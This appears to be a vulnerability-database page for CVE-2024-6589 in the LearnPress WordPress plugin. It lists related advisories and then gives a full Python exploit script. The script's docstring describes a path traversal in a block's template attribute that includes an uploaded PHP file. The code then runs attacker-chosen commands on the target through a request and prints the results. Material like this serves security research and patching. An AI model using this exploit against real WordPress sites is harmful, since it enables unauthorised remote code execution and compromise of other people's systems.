| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2024-6589 | 25 Jul 202414:24 | – | circl | |
| WordPress plugin LearnPress 安全漏洞 | 25 Jul 202400:00 | – | cnnvd | |
| CVE-2024-6589 | 25 Jul 202410:59 | – | cve | |
| CVE-2024-6589 LearnPress <= 4.2.6.8.2 - Authenticated (Contributor+) Local File Inclusion | 25 Jul 202410:59 | – | cvelist | |
| EUVD-2024-47654 | 3 Oct 202520:07 | – | euvd | |
| CVE-2024-6589 | 25 Jul 202411:15 | – | nvd | |
| CVE-2024-6589 | 25 Jul 202411:15 | – | osv | |
| WordPress LearnPress plugin <= 4.2.6.8.2 - Authenticated (Contributor+) Local File Inclusion vulnerability | 25 Jul 202400:38 | – | patchstack | |
| WordPress LearnPress Plugin <= 4.2.6.8.2 is vulnerable to Local File Inclusion | 25 Jul 202400:00 | – | patchstack | |
| PT-2024-37741 · WordPress · Learnpress | 25 Jul 202400:00 | – | ptsecurity |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin LearnPress <= 4.2.6.8.1 - Authenticated (Contributor+) Local File Inclusion to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/learnpress/
# Software Link: https://downloads.wordpress.org/plugin/learnpress.4.2.6.8.1.zip
# Version: 4.2.6.8.1 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-6589
r"""
LearnPress <= 4.2.6.8.1 registers dynamic Gutenberg blocks learnpress/archive-course and
learnpress/single-course whose render_content_block_template()
(inc/block-template/class-abstract-block-template.php:68-69) passes the block's `template` attribute
straight to Template::get_frontend_template() -> get_template() which include()s it
(inc/Helpers/Template.php:127-129) with no sanitisation. LP_PLUGIN_PATH.'templates/'.$template with
`template=../../../uploads/<file>.php` traverses to wp-content/uploads and includes an attacker
planted PHP file -> RCE. There is no capability/wp_is_block_theme gate; the attribute is taken
verbatim from post content, so a Contributor authoring a post with the block (and previewing it)
triggers the include.
Prior state: a planted .php under wp-content/uploads + a published/previewable post containing the
learnpress/archive-course block with the traversal `template` attribute.
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
TOK = "PWNED6589"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--post-id", type=int, required=True, help="id of the post carrying the block")
ap.add_argument("--cmd", default="id")
args = ap.parse_args()
base = args.target.rstrip("/")
r = requests.get(base + "/?p=%d" % args.post_id, params={"c": args.cmd}, verify=False, timeout=20)
print(f"[*] Target: {base} | view post {args.post_id}")
if TOK in r.text:
out = r.text.split(TOK + ":")[1].split("<")[0].strip()
print(f"\n[+] LFI -> RCE CONFIRMED — planted PHP executed:\n{out}")
return 0
print(f"[-] not confirmed (HTTP {r.status_code})"); return 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation